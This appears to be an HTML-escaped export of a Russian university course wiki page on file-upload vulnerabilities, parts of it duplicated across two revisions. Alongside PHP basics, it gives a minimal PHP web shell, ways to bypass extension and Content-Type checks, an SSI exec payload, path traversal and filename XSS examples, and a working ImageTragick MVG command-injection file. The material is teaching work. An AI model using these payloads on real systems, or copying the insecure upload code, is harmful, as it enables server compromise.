$name2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Неправильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
age&lt;br /&gt;
$42&lt;br /&gt;
$my-age&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Переменные бывают нескольких типов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$favorite_color = &amp;quot;green&amp;quot;; // строка&lt;br /&gt;
$favorite_number = 42; // целое число&lt;br /&gt;
$favorite_float_number = 0.5; // число с плавающей точкой&lt;br /&gt;
$favorite_bool = true; // boolean&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Числа можно складывать, вычитать, делить, умножать опреаторы стандартные, как и во всех языках: +, -, *, /, % - плюсь, минус, умножить, делить (деление не целочисленное), остаток от деления.&lt;br /&gt;
==Конкатенация==&lt;br /&gt;
Конкатенация - &amp;quot;cклейка&amp;quot; нескольких строчек в одну.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$united_string = &amp;quot;Мой любимый цвет - &amp;quot; . $favorite_color . &amp;quot;, а любимое число - &amp;quot; . $favorite_number;&lt;br /&gt;
print($united_string);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В коде выше $favorite_number - число. Поэтому данная переменная приводится к типу данных &amp;quot;строка&amp;quot;, после чего уже происходит конкатенация.&lt;br /&gt;
==Ввод данных==&lt;br /&gt;
Данная функциональность редко используется, но нам это нужно было для решения задач на лекии. readline - функция ввода данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$line = readline();&lt;br /&gt;
print($line);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Массивы==&lt;br /&gt;
Массив — структура данных, хранящая набор значений (элементов массива), идентифицируемых по индексу.&lt;br /&gt;
&lt;br /&gt;
В обычных массивах в PHP индекс значение - целое число. Нумеруются массивы с 0:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$fav_shows = [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В ассоциативных массивах в качестве индекса может использоваться не только число. Например, строка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&#039;age&#039; =&amp;gt; 42, &#039;name&#039; =&amp;gt; &#039;Иннокентий&#039;, &#039;fav_shows&#039; =&amp;gt; [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;] ];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Условный оператор==&lt;br /&gt;
Синтаксис: if (условие):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
if ($gender == &amp;quot;мужчина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, мой Господин!&amp;quot;);&lt;br /&gt;
} else if ($gender == &amp;quot;женщина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, о Госпожа!&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;Не хватает гендеров.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* оператор присваивания: =&lt;br /&gt;
* операторы сравнения: ==, ===, !=, !==, &amp;gt;, &amp;lt;, &amp;lt;=, &amp;gt;=&lt;br /&gt;
* and, or - логические и и или соответственно&lt;br /&gt;
==Циклы==&lt;br /&gt;
Синтаксис while: while (условие_остановки):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$i = 0;&lt;br /&gt;
while ($i &amp;lt; 10) {&lt;br /&gt;
    print($i);&lt;br /&gt;
    $i = $i + 1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Синтаксис for: for (команда,_выполняемая_до_цикла; условие_осатновки; команда,_выполняемая_в_ конце_каждой_операции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
for ($x = 0; $x &amp;lt; 10; ++$x) {&lt;br /&gt;
    print($x);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Для асоциативных массивах есть цикл foreach:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&lt;br /&gt;
    &#039;Имя&#039; =&amp;gt; &#039;Евгений&#039;,&lt;br /&gt;
    &#039;Возраст&#039; =&amp;gt; &#039;27&#039;,&lt;br /&gt;
    &#039;Род занятий&#039; =&amp;gt; &#039;Программист&#039;&lt;br /&gt;
];&lt;br /&gt;
foreach ($user as $key =&amp;gt; $value) {&lt;br /&gt;
    print($key . &#039;: &#039;);&lt;br /&gt;
    print($value . &#039;&amp;lt;br&amp;gt;&#039;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Функции==&lt;br /&gt;
Синтаксис: имя_функции(аргументы_функции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
function is_even($number) {&lt;br /&gt;
    if ($number % 2 != 0) {&lt;br /&gt;
        return false;&lt;br /&gt;
    } else {&lt;br /&gt;
        return true;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (is_even(3)) {&lt;br /&gt;
    print(&amp;quot;3 - четное число&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;3 - нечетное число&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Подключение файлов==&lt;br /&gt;
Чтобы не писать всё в одном файле, используется команда require.&lt;br /&gt;
Содержимое файла sub.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
print(&amp;quot;Привет, я содержимое из sub.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Содержимое файла index.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
require &#039;sub.php&#039;;&lt;br /&gt;
print(&amp;quot;А я - index.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После подключения sub.php, содержимого этого файла доступно в index.php.&lt;br /&gt;
==Полезные константы==&lt;br /&gt;
* __DIR__ — полный путь к директории, в которой находится текущий сценарий&lt;br /&gt;
* __FILE__ — полный путь к текущему сценарию&lt;br /&gt;
* $_COOKIE — ассоциативный массив, содержащий куки&lt;br /&gt;
* $_SESSION — ассоциативный массив, содержащий информацию о сессии&lt;br /&gt;
* $_POST — ассоциативный массив, содержащий данные, полученные после POST запроса&lt;br /&gt;
* $_GET — ассоциативный массив, содержащий данные, полученные после GET запроса&lt;br /&gt;
=Примеры=&lt;br /&gt;
1. Пусть есть сайт с формой:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;feedback&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваше имя: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш email: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Сообщение: &amp;lt;textarea name=&amp;quot;message&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
При получении формы сервером, данные из неё можно получить следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_POST)) {&lt;br /&gt;
    print(&amp;quot;Имя: &amp;quot; . $_POST[&#039;name&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Email: &amp;quot; . $_POST[&#039;email&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Сообщение: &amp;quot; . $_POST[&#039;message&#039;]);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
2. Другой пример - отправка формы:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;file_upload&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш аватар: &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;avatar&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить файл&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Работать с файлом ожно следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_FILES[&#039;avatar&#039;])) {&lt;br /&gt;
    $file = $_FILES[&#039;avatar&#039;];&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Загружен файл с именем &amp;quot; . $file[&#039;name&#039;] . &amp;quot; и размером &amp;quot; . $file[&#039;size&#039;] . &amp;quot; байт&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если не переместить файл в постаянную папку - файл будет удален:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$current_path = $_FILES[&#039;avatar&#039;][&#039;tmp_name&#039;];&lt;br /&gt;
$filename = $_FILES[&#039;avatar&#039;][&#039;name&#039;];&lt;br /&gt;
$new_path = dirname(__FILE__) . &#039;/&#039; . $filename;&lt;br /&gt;
&lt;br /&gt;
move_uploaded_file($current_path, $new_path);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=SQL=&lt;br /&gt;
Так же можно работать с базами данных. mysqli_connect - функция для подключения к mysql-серверу, mysqli_query - отправка sql-запроса:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$link = mysqli_connect(&amp;quot;localhost&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$sql = &#039;INSERT INTO cities SET name = &amp;quot;Санкт-Петербург&amp;quot;&#039;;&lt;br /&gt;
$result = mysqli_query($link, $sql);&lt;br /&gt;
&lt;br /&gt;
if ($result == false) {&lt;br /&gt;
    print(&amp;quot;Произошла ошибка при выполнении запроса&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=web shell=&lt;br /&gt;
&lt;br /&gt;
Простейшим примером является загрузка файла с расширением .php на сайт, работающий на PHP (в качестве проверки можно попробовать обратиться по адресу &#039;&#039;&#039;cite.com/index.php&#039;&#039;&#039; и не получить ошибки). По умолчанию PHP-сайты работают так что пользователь обращается по URL к файлу (URL сайта, начиная с первого /, отображаются на определенную директорию на сервере, она называется &#039;&#039;&#039;web root&#039;&#039;&#039;) и, если этот файл имеет расширение php (или другое расширение из предопределенного списка расширений для PHP-файлов), то содержимое этого файла выполняется как код на PHP, вывод этого кода возвращается пользователю в ответе (кстати, так работает не только PHP, но и ASP.NET Web Forms, JSP, ASP). В результате, если пользователь может загрузить на сайт файл c расширением .php и обратиться к нему по URL (т. е. этот файл будет создан где-то внутри &#039;&#039;&#039;web root&#039;&#039;&#039;), то, если сервер специально не настроен чтобы файлы из директории для загрузок не выполнялись, PHP-код в нём будет выполнен. Соответственно, загрузив на уязвимый сайт файл &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt; с кодом &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42 * 66613;&lt;br /&gt;
&amp;lt;?php system(&#039;ls -lsa&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и, получив ссылку на него (к примеру, /uploads/5c8e82bb8ad66/attack.php), обратится по ней, то в результате этот PHP-код выполнится и в ответе сервера будет &lt;br /&gt;
произведение чисел 42 и 66613, а также список всех файлов в длинном формате (функция PHP system работает так же как одноимённая функция библиотеки Си - то есть выполняет команду shell). В итоге атакующий получает выполнение произвольного кода на сервере (RCE).&lt;br /&gt;
&lt;br /&gt;
=Обход методов защиты и атака=&lt;br /&gt;
&lt;br /&gt;
==Валидация имени файла==&lt;br /&gt;
&lt;br /&gt;
===Черный список ресширений===&lt;br /&gt;
Обходится с помощью использования двойных расширений (&amp;lt;code&amp;gt;shell.php.png&amp;lt;/code&amp;gt;) или  малоизвестный расширений (&amp;lt;code&amp;gt;.php5&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.phtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.shtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt;). Кроме того, возможна инъекция нулевого байта (&amp;lt;code&amp;gt;shell.php%00.jpg&amp;lt;/code&amp;gt;) или регистрозависимость при проверке (&amp;lt;code&amp;gt;PHp3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.aSp&amp;lt;/code&amp;gt;). &lt;br /&gt;
&lt;br /&gt;
===Белый список расширений===&lt;br /&gt;
Спасает от использования атакующим малоизвестных и регистрозависимых расширений, но все ещё обходится с помощью двойных расширений или инъекции нулевого байта. &lt;br /&gt;
&lt;br /&gt;
===Санитайзеры===&lt;br /&gt;
Оставляет большую степень свободы. Например, если санитайзер удаляет вхождения подстрок типа &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt;, то использования имени файла вида &amp;lt;code&amp;gt;shell.p&#039;&#039;&#039;.php&#039;&#039;&#039;hp&amp;lt;/code&amp;gt; позволяет после загрузки получить файл с именем &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Валидация Content-Type==&lt;br /&gt;
Обходится изменением заголовка Content-Type, например, с помощью перехватывающего прокси (burp suite). Соответсвенно, в запросе &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST / HTTP/1.1&lt;br /&gt;
Host: easy.fu.khashaev.ru&lt;br /&gt;
Content-Length: 200&lt;br /&gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary&lt;br /&gt;
------WebKitFormBoundary&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;info.php&amp;quot;&lt;br /&gt;
Content-Type: text/php&lt;br /&gt;
 &amp;lt;?php phpinfo(); ?&amp;gt;&lt;br /&gt;
------WebKitFormBoundary--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
строчка &amp;lt;code&amp;gt;Content-Type: text/php&amp;lt;/code&amp;gt; может быть заменена на строчку &amp;lt;code&amp;gt;Content-Type: image/png&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
==Прочее==&lt;br /&gt;
&#039;&#039;&#039;.htaccess&#039;&#039;&#039; - конфигурационный файл веб-сервера Apache, позволяющий управлять работой веб-сервера и настройками сайта с помощью различных параметров (директив) без изменения основного конфигурационного файла веб-сервера.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Server Side Includes&#039;&#039;&#039; - язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Имеет расширения .shtml, .stm или .shtm. Например, при загрузке и вызове &#039;&#039;&#039;file.shtml&#039;&#039;&#039;, содержащего код &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;!-- #exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующему будет выведен список файлов данной директории. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Static HTML&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
При возможности загрузить на сервис статический HTML, создается HTML-страница, содержащая  вредоносный код (например, крадущего cookie), и ссылка на этот файл отправляется жертве. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Path Traversal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Атака, основанная на использовании специфически составленных имен файлов (например, &amp;lt;code&amp;gt;../config.ini&amp;lt;/code&amp;gt;), позволяющих выйти за пределы директории хранения файлов. Может привести к переписыванию исходных фалов веб-приложения, конфигурационных или системных файлов. &lt;br /&gt;
Атака возможна, если не используется функция &amp;lt;code&amp;gt;basename&amp;lt;/code&amp;gt; (возвращает последний компонент имени из указанного пути) или её аналог. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filename XSS&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Сервис уязвим к XSS, если допускается имя файла вида &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Полиглоты==&lt;br /&gt;
Полиглотами называют файлы, которые могут быть корректно распознаны как файлы разных типов. &lt;br /&gt;
Можно встраивать &lt;br /&gt;
* JavaScript в JPEG, GIF, PNG, PDF&lt;br /&gt;
* HTML в что-нибудь &lt;br /&gt;
* PHP в [https://rdot.org/forum/showthread.php?t=2780 JPEG ], [https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif GIF], [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ PNG]&lt;br /&gt;
&lt;br /&gt;
===Структура JPEG===&lt;br /&gt;
Все jpeg-файлы имеют схожую структуру. Рассмотрим в качестве примера изображение&lt;br /&gt;
&lt;br /&gt;
[[Файл:Mini.jpg|128px]]&lt;br /&gt;
 &lt;br /&gt;
В hex-редакторе оно выглядит следующим образом &lt;br /&gt;
&lt;br /&gt;
[[Файл:Hex_print.png]]&lt;br /&gt;
&lt;br /&gt;
В структуре jpeg-файлов содержатся служебные маркеры, состоящие из двух байт и всегда начинающиеся с FF.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FF D8&#039;&#039;&#039; - маркер начала jpeg-файла;&lt;br /&gt;
* &#039;&#039;&#039;FF DA&#039;&#039;&#039; - маркер начала секции Start of Scan:&lt;br /&gt;
** в двух байтах хранится длинна заголовка изображения [00 0C];&lt;br /&gt;
** заголовок изображения [03 01 00 02 11 03 11 00 3F 00];&lt;br /&gt;
** непосредственно информацию о самом изображении;&lt;br /&gt;
* &#039;&#039;&#039;FF D9&#039;&#039;&#039; - маркер конца jpeg-файла.&lt;br /&gt;
&lt;br /&gt;
=Image Magic=&lt;br /&gt;
&#039;&#039;&#039;ImageMagick&#039;&#039;&#039; — набор программ для чтения и редактирования файлов множества графических форматов, свободное и кроссплатформенное ПО. Может использоваться с языками Perl, C, C++, Python, Ruby, PHP, Node.js, Pascal, Java, Delphi, в скриптах командной оболочки или самостоятельно.&lt;br /&gt;
ImageMagick обладает широким набором возможностей (конвертация, маскирование, увеличение контрастности и т.п.) и поддерживает работу с различными типами файлов, но так же в нем находили различные уязвимости:&lt;br /&gt;
* RCE [CVE-2016-3714]&lt;br /&gt;
* SSRF [CVE-2016-3718]&lt;br /&gt;
* File deletion [CVE-2016-3715]&lt;br /&gt;
* File moving [CVE-2016-3716]&lt;br /&gt;
* Local File Read [CVE-2016-3717]&lt;br /&gt;
CVE - Common Vulnerabilities and Exposures - база данных общеизвестных уязвимостей информационной безопасности.&lt;br /&gt;
&lt;br /&gt;
Был создан сайт [https://imagetragick.com/ ImageTragick], посвященный описанию некоторых уязвимостей ImageMagic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Пример.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Допустим, что есть некоторый онлайн-сервис, позволяющих переводить файлы в разные форматы, использующий библиотеку ImageMagic. &lt;br /&gt;
Тогда, создав файл exploit.mvg с содержанием&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
push graphic-context&lt;br /&gt;
viewbox 0 0 640 480&lt;br /&gt;
fill &#039;url(https://example.com/&lt;br /&gt;
image.jpg &amp;quot; ; | ls  &amp;quot;-la)&#039;&lt;br /&gt;
pop graphic-context&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и выполнив запрос на преобразование файла, аналогичный команде &lt;br /&gt;
&amp;lt;pre&amp;gt;$ convert exploit.mvg out.png&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующий получит список всех файлов директории.&lt;br /&gt;
&lt;br /&gt;
=Стенды=&lt;br /&gt;
* http://easy.stands.prak.seclab.cs.msu.ru&lt;br /&gt;
* http://type.stands.prak.seclab.cs.msu.ru&lt;br /&gt;
&lt;br /&gt;
=Ссылки=&lt;br /&gt;
* [https://drive.google.com/file/d/1Jep20CuBfcfKAeStwnHgR0gCf-O2Wgd0/view?usp=sharing Презинтация]&lt;br /&gt;
* [https://www.php.net/ https://www.php.net/] - сайт PHP&lt;br /&gt;
* [https://htmlacademy.ru/tutorial/php https://htmlacademy.ru/tutorial/php] - учебник PHP&lt;br /&gt;
* [http://www.php.su/php/?php http://www.php.su/php/?php] - ещё один учебник&lt;br /&gt;
* [https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf Полиглоты]&lt;br /&gt;
* [https://drive.google.com/file/d/1Rz0RP5tKIWCmFDP3-_--VYu40ejWf48v/view?usp=sharing Валидация структурных типов]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=599</id>
		<title>Веб-безопасность/Уязвимости FileUpload</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=599"/>
		<updated>2021-10-07T12:13:39Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Прочее */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Введение=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Загрузка файлов пользователями&#039;&#039;&#039; - довольно частая часть функциональности веб-приложения (аватарки, хостинг файлов, посылка вложений вместе с сообщениями и т. д.). Небезопасная реализация этого механизма может приводить к очень серьезным уязвимостям.&lt;br /&gt;
Загрузка файлов необходима многим сервисам, таким как файлообменники, социальные сети, онлайн-конверторы и редакторы. &lt;br /&gt;
&lt;br /&gt;
Самый простой способ реализации механизма загрузки файлов - просто создавать на файловой системе сервера файл с таким же содержимым как файл, отправленный пользователем (проще говоря, &amp;quot;класть&amp;quot; присланный пользователем файл куда-то на файловую систему сервера). После загрузки файл либо доступен пользователю по прямой ссылке (т. е. определенные URL-адреса отображаются на загруженные файлы и существует URL, обращение к которому ведет к отдаче загруженного файла), либо как то еще обрабатывается веб-приложением. Само веб-приложение во многом состоит из файлов на диске, поэтому добавление файлов на сервер может быть небезопасным, так как (в общем случае) может изменить логику работы приложения. &lt;br /&gt;
Соответственно, могут появляться следующие уязвимости: &lt;br /&gt;
* Remote Code Execution&lt;br /&gt;
* перезапись или удаление файлов&lt;br /&gt;
* Local File Read, SSRF&lt;br /&gt;
* Denial of Service&lt;br /&gt;
* Information Disclosure&lt;br /&gt;
* XSS&lt;br /&gt;
=PHP=&lt;br /&gt;
PHP (PHP: Hypertext Preprocessor) — скриптовый язык общего назначения, интенсивно применяемый для разработки веб-приложений.&lt;br /&gt;
==Привет, мир!==&lt;br /&gt;
Простейшая программа, выводящая надпись &amp;quot;Привет, мир!&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php print(&amp;quot;Привет, мир!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Каждый скрипт должен начинаться с &amp;lt;code&amp;gt; &amp;lt;?php &amp;lt;/code&amp;gt; и желательно (но не всегда обязательно) на &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt;. Пример кода, где &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt; обязателен:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Наша первая php страница&amp;lt;/title&amp;gt;&lt;br /&gt;
  &amp;lt;/head&amp;gt;&lt;br /&gt;
  &amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;&amp;lt;?php print(&amp;quot;Привет, мир&amp;quot;); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
  &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Переменные==&lt;br /&gt;
В синтаксисе PHP имя переменной записывается латинскими символами, но первым символом всегда должен быть знак доллара $, после чего идёт имя. Не допускается начинать имя переменной с цифры, а также использовать любые значения, кроме букв алфавита и знака подчеркивания.&lt;br /&gt;
&lt;br /&gt;
Правильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$age&lt;br /&gt;
$favorite_color&lt;br /&gt;
$name2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Неправильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
age&lt;br /&gt;
$42&lt;br /&gt;
$my-age&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Переменные бывают нескольких типов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$favorite_color = &amp;quot;green&amp;quot;; // строка&lt;br /&gt;
$favorite_number = 42; // целое число&lt;br /&gt;
$favorite_float_number = 0.5; // число с плавающей точкой&lt;br /&gt;
$favorite_bool = true; // boolean&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Числа можно складывать, вычитать, делить, умножать опреаторы стандартные, как и во всех языках: +, -, *, /, % - плюсь, минус, умножить, делить (деление не целочисленное), остаток от деления.&lt;br /&gt;
==Конкатенация==&lt;br /&gt;
Конкатенация - &amp;quot;cклейка&amp;quot; нескольких строчек в одну.&lt;br /&gt;
